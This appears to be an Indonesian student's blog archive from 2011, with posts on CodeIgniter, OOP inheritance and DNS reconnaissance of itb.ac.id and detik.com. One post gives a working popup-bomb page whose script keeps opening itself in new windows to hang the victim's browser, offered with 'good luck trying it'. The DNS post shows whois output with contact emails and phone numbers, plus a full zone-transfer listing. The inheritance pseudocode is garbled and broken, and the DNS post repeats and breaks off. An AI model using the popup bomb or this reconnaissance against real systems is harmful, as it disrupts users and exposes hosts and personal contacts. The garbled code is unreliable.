Archive for the ‘Ilmu Komputer’ Category

Belajar CodeIgniter

Posted: July 18, 2011 in Ilmu Komputer

Belajar CodeIgniter – Mengenal Framework dan MVC

pengenalan codeigniter

Apakah anda merasa melakukan coding yang berulang-ulang setiap project yang anda kerjakan? lupa harus mulai darimana ketika 1 bulan kemudian program anda menemui masalah dan harus dibenahi? atau anda dipusingkan ketika harus menambahkan fitur/modul dari program anda?

Mungkin sudah saatnya anda memikirkan menggunakan Framework mulai sekarang, dalam tulisan ini akan dibahas salah satu PHP Framework yaitu CodeIgniter. apa itu codeigniter, mengapa codeigniterdan, bagaimana codeigniter bekerja, apa kekurangan codeigniter dan apakah codeigniter cocok buat anda?, mari kita bahas satu persatu.

(more…)

Advertisements

Pada posting kali ini saya akan mencoba membuat serangan terhadap web browser yang ada. Salah satu serangan yang akan kita lakukan adalah dengan menampilkan popup window yang akan menghabiskan resource. Sehingga menyebabkan komputer atau laptop menjadi hang, sebelum di restart.

Berikut adalah coding program untuk membuat halaman web tersebut :

<HTML>
<HEAD>
<TITLE></TITLE>
<BODY>
<p>Attack terhadap web browser</p>
<SCRIPT LANGUAGE=”JavaScript”>
var a;
for (a=0;a<=10;a++) {
window.open(“attack.htm”);
}
</SCRIPT>
</BODY >
</HTML>

Simpan coding program dengan nama attack.htm, kemudian jalankan pada web browser internet explorer. Selamat Mencoba.

Sniffing dan Port Scaning

Posted: March 15, 2011 in Ilmu Komputer

Kali ini saya akan mencoba melakukan sniffing dan port scaning menggunakan tools seperti tcpdump, wireshark, dan sejenisnya pada 2 buah pc dengan menggunakan jaringan wireless. Ok langsung saja kepada prakteknya.

(more…)

Inheritance

Inheritance atau pewarisan pada pemrograman berorientasi objek merupakan suatu hubungan dua buah kelas atau lebih. Dalam hal ini ada kelas yang memiliki atribut dan metode yang sama dengan kelas lainnya beserta atribut dan metode tambahan yang merupakan sifat khusus kelas yang menjadi turunannya. Sebagai contoh, misalkan ada sebuah kelas Titik yang mempunyai kelas turunan Titik3D:

class Titik
private integer x
private integer y
Titik()
x < 0
y integer
-> x
{end getX}

public getY() -> integer
-> y
{end getY}
{end class}
class Titik3D: Titik
private integer z

Titik3D()
z integer
-> z
{end getZ}

{end class}

Keterkaitan antara kelas Titik dan Titik3D adalah kelas Titik3D merupakan kelas turunan dari kelas Titik. Dalam hal ini kelas Titik disebut dengan kelas dasar atau super classatau base classsedangkan kelas Titik3D disebut sebagai kelas turunan atau derived classatau subclass.

Pada contoh di atas, ketika kelas Titik3D dibuat objeknya maka objek tersebut dapat menggunakan metode yang ada pada kelas Titik walau pada kode programnya metode itu tidak dituliskan, misalkan sebagai berikut:

Titik3D p <- new Titik3D()
integer x <- p.getX()
integer y <- p.getY()
integer z <- p.getZ()

Keuntungan dari pewarisan adalah tidak perlu mengutak atik kode kelas yang membutuhkan tambahan atribut atau metode saja, karena tinggal membuat kelas turunannya tanpa harus mengubah kode kelas dasarnya. Kelas dasar akan mewariskan semua atribut dan kodenya kecuali konstruktor dan destruktor yang memiliki izin akses publicdan protectedke kelas turunannya dengan izin akses yang sama dengan pada kelas dasar.

Ketika sebuah kelas turunan dibuat objeknya saat eksekusi, maka secara implisit konstruktor kelas dasar dipanggil terlebih dahulu baru kemudian konstruktor kelas turunan dijalankan. Begitu juga saat objek dimusnahkan maka secara destruktor kelas turunan akan dijalankan baru kemudian destruktor kelas dasar dijalankan.

Informasi DNS (Domain Name Server). Tentunya saya pernah membahas posting sebelumnya tentang DNS (Domain Name Server). Nah, sekarang saya akan coba membahas bagaimana cara mencari Informasi DNS (Domain Name Server). Posting ini tentunya terkait dengan tugas yang diberikan oleh dosen saya yang bernama Bapak Budi Rahardjo (http://rahard.wordpress.com) yang mengajarkan salah satu mata kuliah Kemanan Sistem Lanjut pada semester kali ini. Baiklah kita mulai saja mencari informasi DNS dengan menggunakan domain itb.ac.id dan detik.com sebagai salah satu contoh yang akan saya bahas pada posting kali ini.

  1. Informasi yang pertama yaitu mencari siapakah pemilik dari kedua (itb.ac.id dan detik.com) tersebut ? Untuk mengetahui siapa pemilik kedua domain tersebut, saya menggunakan tools pada sebuah website http://www.whois.net/ dan http://legacy.zoneedit.com/whois.html. Dari hasil yang didapat dari kedua website tersebut dapat kita lihat siapakah pemilik kedua domain tersebut. Berikut hasil capture yang saya dapat.
    Untuk domain itb.ac.id saya gunakan tools pada http://legacy.zoneedit.com/whois.html dan hasil yang didapat untuk pemilik domain itb.ic.id  adalah sebuah Perguruan Tinggi yang bernama Institut Teknologi Bandung yang berlokasi di Bandung, berikut hasil informasi lebih lengkap yang didapat :
    % For more detailed information, please check the website
    % https://register.net.id
    % Note: this output has been filtered.
    % Information related to ‘itb.ac.id’domain:  itb.ac.id
    org: Perguruan Tinggi
    desc:  Institut Teknologi Bandung
    admin-c:  bs38
    tech-c:  rinal1
    bill-c:  rinal1
    nserver: ns1.ai3.net
    nserver: ns1.itb.ac.id
    nserver: ns2.itb.ac.id
    nserver: ns3.itb.ac.id
    nserver: sns-pb.isc.org
    created: 1995-05-18
    expires: 2011-09-30
    last-update: 2010-11-18
    domain-status: Object is active
    source:  register.net.id # Filterednic-hdl:  bs38
    person:
    address:  Jl tamansari no 64
    Bandung
    e-mail:  basuki@itb.ac.id
    org:     Institut teknologi Bandung
    source:  register.net.id # Filterednic-hdl:  rinal1
    person:
    address:
    phone:
    e-mail:  rinaldi@ee.itb.ac.id
    org:
    source:  SAMPLE # Filtered                                                                                                                                                                                               Untuk domain detik.com saya gunakan tools pada http://legacy.zoneedit.com/whois.html dan hasil yang didapat untuk pemilik domain detik.com adalah Siberkom, PT. Agranet Multicitra yang berlokasi di DKI Jakarta, berikut informasi lebih lengkapnya yang saya dapat :                                                                                                                                                                                   Siberkom, PT. Agranet Multicitra
    Aldevco Octagon Building lt 2
    Jl. Warung Jati Barat Raya 75
    Jakarta, DKI Jakarta 12740
    IN 

    Domain Name: DETIK.COM
    ————————————————————————
    Promote your business to millions of viewers for only $1 a month
    Learn how you can get an Enhanced Business Listing here for your domain name.
    Learn more at http://www.NetworkSolutions.com/
    ————————————————————————
    Administrative Contact, Technical Contact:
    Siberkom, PT. Agranet Multicitra        wiwi@detik.com
    Aldevco Octagon Building lt 2
    Jl. Warung Jati Barat Raya 75
    Jakarta, DKI Jakarta 12740
    IN
    +62 21 7941177 fax: +62 21 7941176

    Record expires on 28-May-2011.
    Record created on 13-May-2004.
    Database last updated on 11-Feb-2011 04:38:33 EST.

    Domain servers in listed order:
    NS.DETIK.NET.ID
    NS1.DETIK.NET.ID

  2. Untuk informasi yang kedua saya akan mencoba mencari informasi mengenai Name Server (NS) dari kedua domain tersebut. Kali ini saya menggunakan perintah nslookup pada windows XP. Penggunaannya cukup mudah yaitu cukup membuka command prompt melalui Start>Run> ketikkan “cmd” tanpa tanda kutip lalu enter/tekan ok, kemudia pada c:> ketikkan “nslookup” tanpa tanda kutip lalu tekan enter. Dan yang terakhir, komputer atau laptop yang akan digunakan harus terkoneksi dengan internet tentunya. 😀 Kita mulai untuk domain itb.ac.id :                                                                                                                                 ”

    NS domain itb.ac.id

    Dapat dilihat bahwa domain itb.ac.id memiliki 5 buah Name Server (NS). Kemudian untuk domain detik.com :                                 

    NS domain detik.com

    Dapat dilihat bahwa domain detik.com memiliki 2 buah Name Server (NS).

  3. Informasi ketiga yaitu mencari informasi tentang MX Record dari kedua domain tersebut. Untuk mendapatkan informasi tersebut saya masih menggunakan nslookup sama seperti point diatas. Baiklah langsung saja kita mulai dengan domain itb.ac.id :

    MX Record domain ITB

    Dapat kita lihat bahwa domain itb.ac.id memiliki 2 buah MX Record. Kemudian untuk domain detik.com :

    MX Record domain detik.com

    Dapat dilihat bahwa domain detik.com memiliki sebuah MX Record.

  4. Untuk informasi berikutnya saya akan mencoba melakukan zone transfer terhadap domain itb.ac.id untuk menghitung jumlah 4th level domain tersebut.  Untuk melakukan hal tersebut saya masih menggunakan nslookup melalui jaringan internal ITB langsung.

    CNAME pada domain itb.ac.id

    Dapat dilihat saya menyimpan data dengan memfilter hanya data dengan tipe CNAME saja yang disimpan dalam bentuk file itb_CNAME.txt. Dari hasil yang didapat jumlah 4th level domain itb.ac.id sebanyak 100. Berikut saya perlihatkan isi dari file itb_CNAME.txt                                                                                                                                                                                                                                  > ls -t CNAME itb.ac.id
    [dns-anycast.itb.ac.id]
    AI3-NOC-PAU-Cat6-Vlan          CNAME  indonesia-itb-ether.itb.ac.id
    http://www.berkala                                   CNAME  berkala.itb.ac.id
    blog                                                    CNAME  blogs.itb.ac.id
    blue                                                    CNAME  cdsed.itb.ac.id
    bmedays2005                               CNAME  gajah.ee.itb.ac.id
    cachebone                                       CNAME  cache3.itb.ac.id
    cc                                                        CNAME  unit.itb.ac.id
    coci                                                    CNAME  ganesha.itb.ac.id
    catalog.compscience                 CNAME  compscience.itb.ac.id
    library.compscience                  CNAME  compscience.itb.ac.id
    pubs.compscience                      CNAME  compscience.itb.ac.id
    research.compscience              CNAME  compscience.itb.ac.id
    http://www.compscience                      CNAME  compscience.itb.ac.id
    desktop                                            CNAME  thinclient.itb.ac.id
    dev                                                     CNAME  http://www.itb.ac.id
    digilib                                               CNAME  digital.lib.itb.ac.id
    http://www.digilib                                   CNAME  digital.lib.itb.ac.id
    dosen                          CNAME  sdm.itb.ac.id
    dsp                            CNAME  dsp.ee.itb.ac.id
    mail.dsp                       CNAME  dsp.ee.itb.ac.id
    netoffice.dsp                  CNAME  dsp.ee.itb.ac.id
    http://www.dsp                        CNAME  dsp.ee.itb.ac.id
    e-club                         CNAME  unit.itb.ac.id
    http://www.e-club                     CNAME  e-club.itb.ac.id
    ecampus                        CNAME  unit.itb.ac.id
    http://www.el92                       CNAME  el92.itb.ac.id
    forumrektor                    CNAME  http://www.ylti.or.id
    ftp2                           CNAME  logger.itb.ac.id
    ftpsearch2                     CNAME  logger.itb.ac.id
    http://www.ganeshatv                  CNAME  ganeshatv.itb.ac.id
    http://www.gcca                       CNAME  gcca.itb.ac.id
    mail.geothermal                CNAME  geothermal.itb.ac.id
    http://www.geothermal                 CNAME  geothermal.itb.ac.id
    http://www.grid                       CNAME  grid.itb.ac.id
    http://www.hayati                     CNAME  hayati.itb.ac.id
    *.hosting                      CNAME  hosting.itb.ac.id
    http://www.ic-design                  CNAME  ic-design.itb.ac.id
    http://www.ict                        CNAME  ict.itb.ac.id
    *.im                           CNAME  im.itb.ac.id
    webkpu.imhere                  CNAME  unit.itb.ac.id
    inkm2008                       CNAME  unit.itb.ac.id
    irc                            CNAME  monitoring.itb.ac.id
    http://www.isnet                      CNAME  isnet.itb.ac.id
    isnunet                        CNAME  isnuwardianto.ee.itb.ac.id
    it                             CNAME  web.itb.ac.id
    http://www.it                         CNAME  it.itb.ac.id
    itb75                          CNAME  ai3.itb.ac.id
    itbfair2006                    CNAME  km.itb.ac.id
    iucls                          CNAME  hayati.itb.ac.id
    http://www.iucls                      CNAME  hayati.itb.ac.id
    http://www.jaktri                     CNAME  jaktri.itb.ac.id
    jtm                            CNAME  http://www.fttm.itb.ac.id
    http://www.jtm                        CNAME  http://www.fttm.itb.ac.id
    jurnal                         CNAME  ejournal.itb.ac.id
    kl                             CNAME  ocean.itb.ac.id
    ganeshapages.km                CNAME  km.itb.ac.id
    iec.km                         CNAME  km.itb.ac.id
    kongres.km                     CNAME  km.itb.ac.id
    http://www.km                         CNAME  km.itb.ac.id
    kostti                         CNAME  ganesha.itb.ac.id
    kp3kd                          CNAME  ganesha.itb.ac.id
    kppenergi                      CNAME  crep.itb.ac.id
    kppmb                          CNAME  pmb.itb.ac.id
    http://www.kppwk                      CNAME  kppwk.itb.ac.id
    kuesioner                      CNAME  kuesioner.ee.itb.ac.id
    http://www.lfm                        CNAME  lfm.unit.itb.ac.id
    lg                             CNAME  lg.monitoring.itb.ac.id
    login                          CNAME  login.ee.itb.ac.id
    info.logistik                  CNAME  logistik.itb.ac.id
    mmt                            CNAME  mba.itb.ac.id
    mobi                           CNAME  m.itb.ac.id
    *.monitoring                   CNAME  monitoring.itb.ac.id
    *.monitoringv2                 CNAME  monitoringv2.itb.ac.id
    my                             CNAME  myitb.lib.itb.ac.id
    netoffice                      CNAME  students.itb.ac.id
    news                           CNAME  web.itb.ac.id
    noc                            CNAME  wp.monitoring.itb.ac.id
    nocproject                     CNAME  logger.itb.ac.id
    mail.oceanography              CNAME  oceanography.itb.ac.id
    http://www.oceanography               CNAME  oceanography.itb.ac.id
    http://www.oceanos                    CNAME  oceanography.itb.ac.id
    ocw                            CNAME  students.itb.ac.id
    opensparc                      CNAME  comlabs.itb.ac.id
    mail.order                     CNAME  order.itb.ac.id
    oskm                           CNAME  km.itb.ac.id
    *.packetscanner                CNAME  packetscanner.itb.ac.id
    persma                         CNAME  unit.itb.ac.id
    planet                         CNAME  ai3.itb.ac.id
    calendar.poss                  CNAME  ghs.google.com
    docs.poss                      CNAME  ghs.google.com
    mail.poss                      CNAME  ghs.google.com
    start.poss                     CNAME  ghs.google.com
    web.poss                       CNAME  ghs.google.com
    http://www.poss                       CNAME  poss.itb.ac.id
    pplnbonn                       CNAME  http://www.ylti.or.id
    proceedings                    CNAME  http://www.lppm.itb.ac.id
    http://www.prohil                     CNAME  prohil.itb.ac.id
    k.psdi                         CNAME  kolaborasi.psdi.itb.ac.id
    mail.psdi                      CNAME  psdi.itb.ac.id
    radio.psdi                     CNAME  antivirus.itb.ac.id
    ptkk                           CNAME  biomed.ee.itb.ac.id
    radnet1                        CNAME  waveLAN-ITB-RadNet.itb.ac.id
    radnet2                        CNAME  waveLAN-RadNet-ITB.itb.ac.id
    http://www.sappk                      CNAME  sappk.itb.ac.id
    web.sdm                        CNAME  sdm.itb.ac.id
    silog                          CNAME  puslog.itb.ac.id
    smartcampus                    CNAME  web.itb.ac.id
    http://www.soi                        CNAME  soi.itb.ac.id
    http://www.spe                        CNAME  spe.itb.ac.id
    sps                            CNAME  pps.itb.ac.id
    agenda.sps                     CNAME  sps.itb.ac.id
    mail.sps                       CNAME  sps.itb.ac.id
    http://www.sps                        CNAME  sps.itb.ac.id
    conference.students            CNAME  students.itb.ac.id
    mail.students                  CNAME  students.itb.ac.id
    mta.students                   CNAME  old-students.itb.ac.id
    webmail.students               CNAME  students.itb.ac.id
    http://www.studiumgenerale            CNAME  stadiumgenerale.itb.ac.id
    mail.sysapp                    CNAME  sysapp.itb.ac.id
    http://www.tpb                        CNAME  tpb.itb.ac.id
    http://www.usm                        CNAME  usm.itb.ac.id
    vod-server                     CNAME  ninja-hattori.itb.ac.id
    webvpn                         CNAME  vpn.itb.ac.id
    wuz-wuz                        CNAME  cache-ien.itb.ac.id

Sekian posting saya kali ini, semoga bermanfaat.

 

Informasi DNS (Domain Name Server). Tentunya saya pernah membahas posting sebelumnya tentang DNS (Domain Name Server). Nah, sekarang saya akan coba membahas bagaimana cara mencari Informasi DNS (Domain Name Server). Posting ini tentunya terkait dengan tugas yang diberikan oleh dosen saya yang bernama Bapak Budi Rahardjo (http://rahard.wordpress.com, http://gbt.blogspot.com) yang mengajarkan salah satu mata kuliah Kemanan Sistem Lanjut pada semester kali ini. Baiklah kita mulai saja mencari informasi DNS dengan menggunakan domain itb.ac.id dan detik.com sebagai salah satu contoh yang akan saya bahas pada posting kali ini.

1. Siapakah pemilik dari kedua (itb.ac.id dan detik.com) tersebut ?

Untuk mengetahui siapa pemilik kedua domain tersebut, saya menggunakan tools pada sebuah website http://www.whois.net/ dan http://legacy.zoneedit.com/whois.html. Dari hasil yang didapat dari kedua website tersebut dapat kita lihat siapakah pemilik kedua domain tersebut. Berikut hasil capture yang saya dapat.

Untuk domain itb.ac.id saya gunakan tools pada http://legacy.zoneedit.com/whois.html :

% This is the register.net.id Whois server.

% For more detailed information, please check the website

% https://register.net.id

% Note: this output has been filtered.

% Information related to ‘itb.ac.id’

domain: itb.ac.id

org: Perguruan Tinggi

desc: Institut Teknologi Bandung

admin-c: bs38

tech-c: rinal1

bill-c: rinal1

nserver: ns1.ai3.net

nserver: ns1.itb.ac.id

nserver: ns2.itb.ac.id

nserver: ns3.itb.ac.id

nserver: sns-pb.isc.org

created: 1995-05-18

expires: 2011-09-30

last-update: 2010-11-18

domain-status: Object is active

source: register.net.id # Filtered

nic-hdl: bs38

person:

address: Jl tamansari no 64

Bandung

e-mail: basuki@itb.ac.id

org: Institut teknologi Bandung

source: register.net.id # Filtered

nic-hdl: rinal1

person:

address:

phone:

e-mail: rinaldi@ee.itb.ac.id

org:

source: SAMPLE # Filtered

2.